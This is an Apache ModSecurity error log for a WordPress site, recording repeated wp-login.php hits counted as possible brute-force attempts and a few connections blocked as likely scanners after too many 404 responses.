[Tue Nov 18 18:38:06.673401 2025] [:error] [pid 44560:tid 44583] [client 162.0.232.52:56360] [client 162.0.232.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxMjgnbP7etF3q5-5uZRQAAAMw"]
[Tue Nov 18 18:38:08.146925 2025] [:error] [pid 44560:tid 44589] [client 162.0.232.52:56360] [client 162.0.232.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.52, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxMkAnbP7etF3q5-5uZSgAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 18:38:28.686758 2025] [:error] [pid 1387:tid 1409] [client 162.0.235.136:36742] [client 162.0.235.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.235.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxMpEzBvalKyx3hMvVt1wAAABA"]
[Tue Nov 18 18:38:29.940198 2025] [:error] [pid 1387:tid 1411] [client 162.0.235.136:36742] [client 162.0.235.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.235.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxMpUzBvalKyx3hMvVt5QAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 18:47:22.165627 2025] [:error] [pid 1387:tid 1392] [client 63.250.38.180:53966] [client 63.250.38.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxOukzBvalKyx3hMvVw7QAAAAM"]
[Tue Nov 18 18:47:26.346520 2025] [:error] [pid 1387:tid 1403] [client 63.250.38.180:53966] [client 63.250.38.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.180, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxOvkzBvalKyx3hMvVw8QAAAAo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 19:02:21.824202 2025] [:error] [pid 44471:tid 44507] [client 3.108.243.0:38360] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxSPe_6m0bQO14XwtNcCAAAAQM"]
[Tue Nov 18 19:02:24.247450 2025] [:error] [pid 44471:tid 44506] [client 3.108.243.0:38360] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxSQO_6m0bQO14XwtNcCQAAAQI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 19:15:14.540391 2025] [:error] [pid 44470:tid 44478] [client 84.247.191.22:55750] [client 84.247.191.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "aRxVQjv-RLYfULjlgDbWUAAAAEM"], referer: binance.com
[Tue Nov 18 19:17:42.319486 2025] [:error] [pid 44470:tid 44493] [client 63.250.38.246:32858] [client 63.250.38.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxV1jv-RLYfULjlgDbXCAAAAFI"]
[Tue Nov 18 19:17:43.902338 2025] [:error] [pid 44470:tid 44477] [client 63.250.38.246:32858] [client 63.250.38.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxV1zv-RLYfULjlgDbXDAAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 19:26:33.089851 2025] [:error] [pid 57578:tid 57594] [client 54.39.104.34:36178] [client 54.39.104.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.39.104.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxX6T9_jVUQm7Io75PltgAAAI4"]
[Tue Nov 18 19:26:35.458514 2025] [:error] [pid 57578:tid 57586] [client 54.39.104.34:36178] [client 54.39.104.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.39.104.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxX6z9_jVUQm7Io75PlwAAAAIY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 19:38:18.793430 2025] [:error] [pid 57578:tid 57592] [client 43.224.124.253:62244] [client 43.224.124.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.224.124.253, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxaqj9_jVUQm7Io75PrIgAAAIw"]
[Tue Nov 18 19:38:21.000324 2025] [:error] [pid 57578:tid 57602] [client 43.224.124.253:62244] [client 43.224.124.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.224.124.253, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxarD9_jVUQm7Io75PrIwAAAJY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 19:48:08.713435 2025] [:error] [pid 44560:tid 44587] [client 3.108.243.0:53292] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxc-AnbP7etF3q5-5uvAAAAANA"]
[Tue Nov 18 19:57:13.833753 2025] [:error] [pid 44471:tid 44506] [client 43.224.124.253:29223] [client 43.224.124.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.224.124.253, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxfGe_6m0bQO14XwtNp1QAAAQI"]
[Tue Nov 18 19:57:15.381146 2025] [:error] [pid 44471:tid 44517] [client 43.224.124.253:29223] [client 43.224.124.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.224.124.253, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxfG-_6m0bQO14XwtNp1gAAAQ0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 20:21:38.212855 2025] [:error] [pid 44472:tid 44544] [client 221.132.29.14:54026] [client 221.132.29.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 221.132.29.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxk0oKhGwkiLjv8BQwOQQAAAU0"]
[Tue Nov 18 20:21:42.167346 2025] [:error] [pid 44472:tid 44548] [client 221.132.29.14:54026] [client 221.132.29.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 221.132.29.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxk1oKhGwkiLjv8BQwOQwAAAVE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 20:32:08.193156 2025] [:error] [pid 44471:tid 44521] [client 66.29.146.11:43242] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxnSO_6m0bQO14XwtNxCAAAARE"]
[Tue Nov 18 20:32:09.492161 2025] [:error] [pid 44471:tid 44518] [client 66.29.146.11:43242] [client 66.29.146.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxnSe_6m0bQO14XwtNxCwAAAQ4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 20:33:13.725650 2025] [:error] [pid 44470:tid 44497] [client 198.54.114.107:44506] [client 198.54.114.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxniTv-RLYfULjlgDbqvwAAAFY"]
[Tue Nov 18 20:33:14.848031 2025] [:error] [pid 44470:tid 44475] [client 198.54.114.107:44506] [client 198.54.114.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxnijv-RLYfULjlgDbqwAAAAEA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 20:34:01.820681 2025] [:error] [pid 3500:tid 3504] [client 162.0.209.147:56798] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxnufCbRC7k2D7mjbR1jAAAAcI"]
[Tue Nov 18 20:34:03.223189 2025] [:error] [pid 3500:tid 3515] [client 162.0.209.147:56798] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxnu_CbRC7k2D7mjbR1kAAAAc0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 20:36:13.730465 2025] [:error] [pid 1387:tid 1413] [client 69.57.162.2:56714] [client 69.57.162.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.162.2, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxoPUzBvalKyx3hMvWPgAAAABQ"]
[Tue Nov 18 20:36:14.995004 2025] [:error] [pid 1387:tid 1407] [client 69.57.162.2:56714] [client 69.57.162.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.57.162.2, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxoPkzBvalKyx3hMvWPggAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 20:54:46.473366 2025] [:error] [pid 3500:tid 3503] [client 3.108.243.0:52302] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxslvCbRC7k2D7mjbR9_AAAAcE"]
[Tue Nov 18 21:01:06.288739 2025] [:error] [pid 3500:tid 3509] [client 63.250.38.190:52918] [client 63.250.38.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxuEvCbRC7k2D7mjbSBMAAAAcc"]
[Tue Nov 18 21:01:08.113000 2025] [:error] [pid 3500:tid 3512] [client 63.250.38.190:52918] [client 63.250.38.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.190, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxuFPCbRC7k2D7mjbSBMwAAAco"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 21:03:11.179874 2025] [:error] [pid 44470:tid 44497] [client 162.0.209.147:57178] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxujzv-RLYfULjlgDbyfgAAAFY"]
[Tue Nov 18 21:03:12.403962 2025] [:error] [pid 44470:tid 44490] [client 162.0.209.147:57178] [client 162.0.209.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.209.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxukDv-RLYfULjlgDbygAAAAE8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 21:05:10.280200 2025] [:error] [pid 44470:tid 44488] [client 198.54.114.18:42258] [client 198.54.114.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.18, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxvBjv-RLYfULjlgDbzGAAAAE0"]
[Tue Nov 18 21:05:11.497320 2025] [:error] [pid 44470:tid 44490] [client 198.54.114.18:42258] [client 198.54.114.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.18, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxvBzv-RLYfULjlgDbzGQAAAE8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 21:05:45.874913 2025] [:error] [pid 1387:tid 1389] [client 63.250.38.26:33608] [client 63.250.38.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxvKUzBvalKyx3hMvWV2QAAAAA"]
[Tue Nov 18 21:05:47.190112 2025] [:error] [pid 1387:tid 1410] [client 63.250.38.26:33608] [client 63.250.38.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRxvK0zBvalKyx3hMvWV3gAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 21:36:19.862909 2025] [:error] [pid 44471:tid 44523] [client 192.64.117.208:60992] [client 192.64.117.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.208, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRx2U-_6m0bQO14XwtOCVQAAARM"]
[Tue Nov 18 21:36:21.028218 2025] [:error] [pid 44471:tid 44507] [client 192.64.117.208:60992] [client 192.64.117.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.208, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRx2Ve_6m0bQO14XwtOCWAAAAQM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 21:36:55.819424 2025] [:error] [pid 3500:tid 3518] [client 162.0.215.183:54268] [client 162.0.215.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.215.183, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRx2d_CbRC7k2D7mjbSS8gAAAdA"]
[Tue Nov 18 21:36:57.065494 2025] [:error] [pid 3500:tid 3522] [client 162.0.215.183:54268] [client 162.0.215.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.215.183, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRx2efCbRC7k2D7mjbSS9AAAAdQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 21:37:30.484475 2025] [:error] [pid 44470:tid 44479] [client 45.134.79.103:58866] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRx2mjv-RLYfULjlgDb_PwAAAEQ"]
[Tue Nov 18 21:37:31.166818 2025] [:error] [pid 44560:tid 44571] [client 45.134.79.103:51583] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRx2mwnbP7etF3q5-5vI6AAAAMA"]
[Tue Nov 18 21:37:31.805712 2025] [:error] [pid 57578:tid 57598] [client 45.134.79.103:59698] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRx2mz9_jVUQm7Io75MLzwAAAJI"]
[Tue Nov 18 21:42:12.757647 2025] [:error] [pid 3500:tid 3518] [client 209.74.67.59:59998] [client 209.74.67.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.67.59, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRx3tPCbRC7k2D7mjbSWHwAAAdA"]
[Tue Nov 18 21:42:15.690129 2025] [:error] [pid 3500:tid 3526] [client 209.74.67.59:59998] [client 209.74.67.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.67.59, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRx3t_CbRC7k2D7mjbSWLAAAAdg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 22:05:57.515686 2025] [:error] [pid 3500:tid 3522] [client 66.29.146.9:34454] [client 66.29.146.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.9, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRx9RfCbRC7k2D7mjbSkEgAAAdQ"]
[Tue Nov 18 22:05:58.752016 2025] [:error] [pid 3500:tid 3516] [client 66.29.146.9:34454] [client 66.29.146.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.9, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRx9RvCbRC7k2D7mjbSkFAAAAc4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 22:18:31.020751 2025] [:error] [pid 44624:tid 44635] [client 209.74.76.5:40826] [client 209.74.76.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.76.5, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyANyllffozoBluWCXkdQAAAYg"]
[Tue Nov 18 22:18:32.631329 2025] [:error] [pid 44624:tid 44639] [client 209.74.76.5:40826] [client 209.74.76.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.76.5, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyAOCllffozoBluWCXkfAAAAYw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 22:21:00.364237 2025] [:error] [pid 3500:tid 3518] [client 103.205.141.156:42722] [client 103.205.141.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.205.141.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyAzPCbRC7k2D7mjbSsIwAAAdA"]
[Tue Nov 18 22:21:04.468781 2025] [:error] [pid 3500:tid 3523] [client 103.205.141.156:42722] [client 103.205.141.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.205.141.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyA0PCbRC7k2D7mjbSsKAAAAdU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 22:46:26.305442 2025] [:error] [pid 44624:tid 44647] [client 199.188.201.230:41206] [client 199.188.201.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.201.230, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyGwillffozoBluWCXt-wAAAZQ"]
[Tue Nov 18 22:46:28.801735 2025] [:error] [pid 44624:tid 44636] [client 199.188.201.230:41206] [client 199.188.201.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.201.230, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyGxCllffozoBluWCXt_QAAAYk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 22:55:30.172306 2025] [:error] [pid 44471:tid 44518] [client 103.205.141.156:43398] [client 103.205.141.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.205.141.156, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyI4u_6m0bQO14XwtOYLAAAAQ4"]
[Tue Nov 18 23:18:54.290169 2025] [:error] [pid 44560:tid 44591] [client 198.54.119.81:58018] [client 198.54.119.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.119.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRyOXgnbP7etF3q5-5vjmwAAANQ"]
